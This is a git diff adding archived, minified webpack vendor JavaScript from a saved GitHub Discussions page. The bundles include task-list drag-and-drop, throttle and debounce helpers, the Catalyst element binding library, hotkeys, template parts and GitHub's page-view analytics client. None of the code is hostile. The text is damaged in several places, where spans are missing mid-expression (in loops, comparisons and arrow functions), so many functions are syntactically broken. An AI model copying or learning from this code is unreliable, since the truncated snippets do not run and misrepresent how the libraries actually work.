Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js new file mode 100644 index 0000000..dfb6b51 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var i=(O,F)=>D(O,"name",{value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"],{80425:(O,F,C)=>{C.d(F,{k:()=>_});var h=function(){for(var l=new Uint32Array(256),p=256;p--;){for(var u=p,g=8;g--;)u=u&1?3988292384^u>>>1:u>>>1;l[p]=u}return function(r){var a=-1;typeof r=="string"&&(r=function(P){for(var I=P.length,T=new Array(I),M=-1;++M>>8^l[a&255^r[f]];return(a^-1)>>>0}}(),E=i(function(l){return l<0&&(l=4294967295+l+1),("0000000"+l.toString(16)).slice(-8)},"hex"),_=i(function(l,p){var u=h(l);return p?E(u):u},"crc32")},3447:(O,F,C)=>{C.d(F,{D:()=>_,P:()=>E});var h=C(46263);function E(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.P)(a,l,p),Object.defineProperty(u,g,r)}}i(E,"throttle");function _(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.D)(a,l,p),Object.defineProperty(u,g,r)}}i(_,"debounce")},46263:(O,F,C)=>{C.d(F,{D:()=>E,P:()=>h});function h(_,l=0,{start:p=!0,middle:u=!0,once:g=!1}={}){let r=0,a,f=!1;function A(...P){if(f)return;const I=Date.now()-r;r=Date.now(),p?(p=!1,_.apply(this,P),g&&A.cancel()):(u&&I{r=Date.now(),_.apply(this,P),g&&A.cancel()},u?l-I:l))}return i(A,"fn"),A.cancel=()=>{clearTimeout(a),f=!0},A}i(h,"throttle");function E(_,l=0,{start:p=!1,middle:u=!1,once:g=!1}={}){return h(_,l,{start:p,middle:u,once:g})}i(E,"debounce")},47142:(O,F,C)=>{C.d(F,{CD:()=>x,Gs:()=>M,m7:()=>R});var h=-1/0,E=1/0,_=-.005,l=-.005,p=-.01,u=1,g=.9,r=.8,a=.7,f=.6;function A(y){return y.toLowerCase()===y}i(A,"islower");function P(y){return y.toUpperCase()===y}i(P,"isupper");function I(y){for(var S=y.length,b=new Array(S),w="/",v=0;v1024)return h;var v=new Array(b),s=new Array(b);return T(y,S,v,s),s[b-1][w-1]}i(M,"score");function R(y,S){var b=y.length,w=S.length,v=new Array(b);if(!b||!w)return v;if(b===w){for(var s=0;s1024)return v;var e=new Array(b),n=new Array(b);T(y,S,e,n);for(var c=!1,s=b-1,t=w-1;s>=0;s--)for(;t>=0;t--)if(e[s][t]!==h&&(c||e[s][t]===n[s][t])){c=s&&t&&n[s][t]===e[s-1][t-1]+u,v[s]=t--;break}return v}i(R,"positions");function x(y,S){y=y.toLowerCase(),S=S.toLowerCase();for(var b=y.length,w=0,v=0;w{C.d(F,{Lj:()=>x,Ih:()=>c,fA:()=>P,GO:()=>I});const h=new WeakSet;function E(t){h.add(t),t.shadowRoot&&_(t.shadowRoot),u(t),p(t.ownerDocument)}i(E,"bind");function _(t){u(t),p(t)}i(_,"bindShadow");const l=new WeakMap;function p(t=document){if(l.has(t))return l.get(t);let o=!1;const d=new MutationObserver(k=>{for(const N of k)if(N.type==="attributes"&&N.target instanceof Element)a(N.target);else if(N.type==="childList"&&N.addedNodes.length)for(const L of N.addedNodes)L instanceof Element&&u(L)});d.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const m={get closed(){return o},unsubscribe(){o=!0,l.delete(t),d.disconnect()}};return l.set(t,m),m}i(p,"listenForBind");function u(t){for(const o of t.querySelectorAll("[data-action]"))a(o);t instanceof Element&&t.hasAttribute("data-action")&&a(t)}i(u,"bindElements");function g(t){const o=t.currentTarget;for(const d of r(o))if(t.type===d.type){const m=o.closest(d.tag);h.has(m)&&typeof m[d.method]=="function"&&m[d.method](t);const k=o.getRootNode();if(k instanceof ShadowRoot&&h.has(k.host)&&k.host.matches(d.tag)){const N=k.host;typeof N[d.method]=="function"&&N[d.method](t)}}}i(g,"handleEvent");function*r(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const d=o.lastIndexOf(":"),m=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,d),tag:o.slice(d+1,m),method:o.slice(m+1)||"handleEvent"}}}i(r,"bindings");function a(t){for(const o of r(t))t.addEventListener(o.type,g)}i(a,"bindActions");function f(t,o){const d=t.tagName.toLowerCase();if(t.shadowRoot){for(const m of t.shadowRoot.querySelectorAll(`[data-target~="${d}.${o}"]`))if(!m.closest(d))return m}for(const m of t.querySelectorAll(`[data-target~="${d}.${o}"]`))if(m.closest(d)===t)return m}i(f,"findTarget");function A(t,o){const d=t.tagName.toLowerCase(),m=[];if(t.shadowRoot)for(const k of t.shadowRoot.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)||m.push(k);for(const k of t.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)===t&&m.push(k);return m}i(A,"findTargets");function P(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return f(this,o)}})}i(P,"target");function I(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return A(this,o)}})}i(I,"targets");function T(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}i(T,"register");function M(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(M,"autoShadowRoot");const R=new WeakMap;function x(t,o){R.has(t)||R.set(t,[]),R.get(t).push(o)}i(x,"attr");function y(t,o){o||(o=S(Object.getPrototypeOf(t)));for(const d of o){const m=t[d],k=b(d);let N={configurable:!0,get(){return this.getAttribute(k)||""},set(L){this.setAttribute(k,L||"")}};typeof m=="number"?N={configurable:!0,get(){return Number(this.getAttribute(k)||0)},set(L){this.setAttribute(k,L)}}:typeof m=="boolean"&&(N={configurable:!0,get(){return this.hasAttribute(k)},set(L){this.toggleAttribute(k,L)}}),Object.defineProperty(t,d,N),d in t&&!t.hasAttribute(k)&&N.set.call(t,m)}}i(y,"initializeAttrs");function S(t){const o=new Set;let d=t;for(;d&&d!==HTMLElement;){const m=R.get(d)||[];for(const k of m)o.add(k);d=Object.getPrototypeOf(d)}return o}i(S,"getAttrNames");function b(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(b,"attrToAttributeName");function w(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...S(t.prototype)].map(b).concat(o)},set(d){o=d}})}i(w,"defineObservedAttributes");const v=new WeakSet;function s(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),v.add(t),M(t),y(t),E(t),o&&o.call(t),t.shadowRoot&&_(t.shadowRoot)}i(s,"initializeInstance");function e(t){w(t),T(t)}i(e,"initializeClass");function n(t){return v.has(t)}i(n,"initialized");function c(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){s(this,o)},e(t)}i(c,"controller")},33241:(O,F,C)=>{C.d(F,{BX:()=>u,Z4:()=>_,ck:()=>p});var h=C(47142),E=C(80425);class _{constructor(r,a,f){this.providers=[],this.scopeType="static_items_page",this.title=r,this.scopeId=a,this.providers=[new l(f)]}}i(_,"StaticItemsPage");class l{constructor(r){this.hasCommands=!0,this.debounce=0;const a=r.length;this.items=r.map((f,A)=>(f.priority=a-A,f))}async fetch(r){return{results:this.fuzzyFilter(this.items,r)}}enabledFor(){return!0}clearCache(){}fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(l,"StaticItemsProvider");class p{constructor(r){this.score=0,this.position="",this.title=r.title,this.priority=r.priority,this.group=r.group,this.subtitle=r.subtitle,this.matchFields=r.matchFields,this.typeahead=r.typeahead,this.hint=r.hint,this.icon=r.icon}get matchingFields(){return this.matchFields?this.matchFields:[this.title]}get key(){var r;return`${this.title}-${this.group}-${this.subtitle}-${(r=this.matchFields)==null?void 0:r.join("-")}`}get id(){return this._id||(this._id=(0,E.k)(this.key).toString()),this._id}calculateScore(r){const a=this.matchingFields.map(f=>this.calculateScoreForField({field:f,queryText:r}));return Math.max(...a)}calculateScoreForField({field:r,queryText:a}){return(0,h.CD)(a,r)?(0,h.Gs)(a,r):-1/0}}i(p,"Item");class u{fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(u,"ProviderBase")},86058:(O,F,C)=>{C.d(F,{R:()=>g});function h(){let r;try{r=window.top.document.referrer}catch{if(window.parent)try{r=window.parent.document.referrer}catch{}}return r===""&&(r=document.referrer),r}i(h,"getReferrer");function E(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}i(E,"getScreenResolution");function _(){let r=0,a=0;try{return typeof window.innerWidth=="number"?(a=window.innerWidth,r=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(a=document.documentElement.clientWidth,r=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(a=document.body.clientWidth,r=document.body.clientHeight),`${a}x${r}`}catch{return"unknown"}}i(_,"getBrowserResolution");function l(){return navigator.languages?navigator.languages.join(","):navigator.language||""}i(l,"getBrowserLanguages");function p(){return{referrer:h(),user_agent:navigator.userAgent,screen_resolution:E(),browser_resolution:_(),browser_languages:l(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}i(p,"getRequestContext");var u=C(82918);class g{constructor(a){this.options=a}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(a){return{page:location.href,title:document.title,context:{...this.options.baseContext,...a}}}sendPageView(a){const f=this.createEvent(a);this.send({page_views:[f]})}sendEvent(a,f){const A={...this.createEvent(f),type:a};this.send({events:[A]})}send({page_views:a,events:f}){const A={client_id:this.clientId,page_views:a,events:f,request_context:p()},P=JSON.stringify(A);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,P);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:P,keepalive:!1})}}i(g,"AnalyticsClient")},82918:(O,F,C)=>{C.d(F,{b:()=>p});let h;function E(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}i(E,"generateClientId");function _(u){const g=`GH1.1.${u}`,r=Date.now(),a=new Date(r+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${g}; expires=${a}; path=/; domain=${f}; secure; samesite=lax`}i(_,"setClientIdCookie");function l(){let u;const r=document.cookie.match(/_octo=([^;]+)/g);if(!r)return;let a=[0,0];for(const f of r){const[,A]=f.split("="),[,P,...I]=A.split("."),T=P.split("-").map(Number);T>a&&(a=T,u=I.join("."))}return u}i(l,"getClientIdFromCookie");function p(){try{const u=l();if(u)return u;const g=E();return _(g),g}catch{return h||(h=E()),h}}i(p,"getOrCreateClientId")},88149:(O,F,C)=>{C.d(F,{n:()=>h});function h(E="ha"){let _;const l={},p=document.head.querySelectorAll(`meta[name^="${E}-"]`);for(const u of Array.from(p)){const{name:g,content:r}=u,a=g.replace(`${E}-`,"").replace(/-/g,"_");a==="url"?_=r:l[a]=r}if(!_)throw new Error(`AnalyticsClient ${E}-url meta tag not found`);return{collectorUrl:_,...Object.keys(l).length>0?{baseContext:l}:{}}}i(h,"getOptionsFromMeta")},38772:(O,F,C)=>{C.d(F,{dy:()=>S,sY:()=>b,Au:()=>s});var h=C(69567);const E=new WeakSet;function _(e){return E.has(e)}i(_,"isDirective");function l(e,n){return _(n)?(n(e),!0):!1}i(l,"processDirective");function p(e){return(...n)=>{const c=e(...n);return E.add(c),c}}i(p,"directive");const u=new WeakMap;class g{constructor(n,c){this.element=n,this.type=c,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(n){typeof n=="function"?this.handleEvent=n.bind(this.element):typeof n=="object"&&typeof n.handleEvent=="function"?this.handleEvent=n.handleEvent.bind(n):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(n){u.has(n.element)||u.set(n.element,new Map);const c=n.attributeName.slice(2),t=u.get(n.element);return t.has(c)?t.get(c):new g(n.element,c)}}i(g,"EventHandler");function r(e,n){return e instanceof h.sV&&e.attributeName.startsWith("on")?(g.for(e).set(n),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}i(r,"processEvent");function a(e,n){return n instanceof x&&e instanceof h.GZ?(n.renderInto(e),!0):!1}i(a,"processSubTemplate");function f(e,n){return n instanceof DocumentFragment&&e instanceof h.GZ?(n.childNodes.length&&e.replace(...n.childNodes),!0):!1}i(f,"processDocumentFragment");function A(e){return typeof e=="object"&&Symbol.iterator in e}i(A,"isIterable");function P(e,n){if(!A(n))return!1;if(e instanceof h.GZ){const c=[];for(const t of n)if(t instanceof x){const o=document.createDocumentFragment();t.renderInto(o),c.push(...o.childNodes)}else t instanceof DocumentFragment?c.push(...t.childNodes):c.push(String(t));return c.length&&e.replace(...c),!0}else return e.value=Array.from(n).join(" "),!0}i(P,"processIterable");function I(e,n){l(e,n)||(0,h.W_)(e,n)||r(e,n)||a(e,n)||f(e,n)||P(e,n)||(0,h.Al)(e,n)}i(I,"processPart");const T=new WeakMap,M=new WeakMap,R=new WeakMap;class x{constructor(n,c,t){this.strings=n,this.values=c,this.processor=t}get template(){if(T.has(this.strings))return T.get(this.strings);{const n=document.createElement("template"),c=this.strings.length-1;return n.innerHTML=this.strings.reduce((t,o,d)=>t+o+(dn=>{w.has(n)||w.set(n,{i:e.length});const c=w.get(n);for(let t=0;t{tn=>{if(!(n instanceof h.GZ))return;const c=document.createElement("template");c.innerHTML=e;const t=document.importNode(c.content,!0);n.replace(...t.childNodes)})},15205:(O,F,C)=>{C.d(F,{Z:()=>E});function h(..._){return JSON.stringify(_,(l,p)=>typeof p=="object"?p:String(p))}i(h,"defaultHash");function E(_,l={}){const{hash:p=h,cache:u=new Map}=l;return function(...g){const r=p.apply(this,g);if(u.has(r))return u.get(r);let a=_.apply(this,g);return a instanceof Promise&&(a=a.catch(f=>{throw u.delete(r),f})),u.set(r,a),a}}i(E,"memoize")},69567:(O,F,C)=>{C.d(F,{sV:()=>u,GZ:()=>A,R:()=>v,AQ:()=>P,W_:()=>T,Al:()=>I,XK:()=>R});function*h(s){let e="",n=0,c=!1;for(let t=0;ttypeof c=="string"?c:c.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,n)}}}i(g,"AttributeValueSetter");var r=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},a=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},f;class A{constructor(e,n){this.expression=n,f.set(this,void 0),r(this,f,[e]),e.textContent=""}get value(){return a(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return a(this,f)[0].previousSibling}get nextSibling(){return a(this,f)[a(this,f).length-1].nextSibling}replace(...e){const n=e.map(c=>typeof c=="string"?new Text(c):c);n.length||n.push(new Text("")),a(this,f)[0].before(...n);for(const c of a(this,f))c.remove();r(this,f,n)}}i(A,"NodeTemplatePart"),f=new WeakMap;function P(s){return{createCallback(e,n,c){this.processCallback(e,n,c)},processCallback(e,n,c){var t;if(!(typeof c!="object"||!c)){for(const o of n)if(o.expression in c){const d=(t=c[o.expression])!==null&&t!==void 0?t:"";s(o,d)}}}}}i(P,"createProcessor");function I(s,e){s.value=String(e)}i(I,"processPropertyIdentity");function T(s,e){return typeof e=="boolean"&&s instanceof u&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=e,!0):!1}i(T,"processBooleanAttribute");const M=P(I),R=P((s,e)=>{T(s,e)||I(s,e)});var x=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},y=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},S,b;function*w(s){const e=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let n;for(;n=e.nextNode();)if(n instanceof Element&&n.hasAttributes())for(let c=0;c{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const 